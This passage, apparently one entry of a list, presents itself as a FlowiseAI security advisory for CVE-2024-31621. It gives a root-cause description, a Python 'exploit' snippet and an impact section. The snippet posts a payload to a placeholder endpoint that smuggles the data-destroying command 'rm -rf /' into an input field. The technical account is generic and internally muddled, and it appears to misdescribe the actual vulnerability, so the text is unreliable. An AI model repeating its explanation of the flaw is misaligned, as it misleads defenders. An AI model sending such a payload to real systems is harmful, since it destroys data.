3. FlowiseAI Inc Security Advisory: https://www.flowiseai.com/security-advisory/2024-31621

Vulnerability Details and Root Cause

The vulnerability CVE-2024-31621 is present in the "api/v1" component of FlowiseAI's software (in versions 1.6.2 and earlier) due to the improper handling of user-supplied inputs. Specifically, the "api/v1" component lacks proper input validation, thereby allowing remote attackers to submit arbitrary code in the form of a malicious script. Once the vulnerable system receives this crafted script, it will execute the code, providing the attacker with uncontrolled access to the system.

Exploit and Code Snippet

As mentioned earlier, the exploitation of CVE-2024-31621 involves sending a crafted script to the target system's "api/v1" component. Here's a sample code snippet to illustrate the exploit:

import requests

# Change the "target_url" variable to the target system's URL
target_url = "http://target_system.com/api/v1/some_endpoint";

# Prepare the malicious payload
malicious_payload = {
    "input": "'; system('rm -rf /'); return 1;"
}

# Send the HTTP POST request with the payload to the target system
response = requests.post(target_url, json=malicious_payload)

In the above code snippet, Python's requests library is used to send an HTTP POST request containing the malicious payload. The "input" key in the JSON object contains the crafted payload that exploits the vulnerable "api/v1" component.

Please note that the provided code snippet is for demonstration purposes only and should not be used for any malicious activity.

Impact

If a remote attacker successfully exploits CVE-2024-31621, they would have the potential to execute arbitrary code on the affected system, gaining control over sensitive data and critical processes. This unauthorized access poses a significant threat to organizations that rely on FlowiseAI Inc's software, potentially leading to data breaches, loss of intellectual property, or disruption of services.
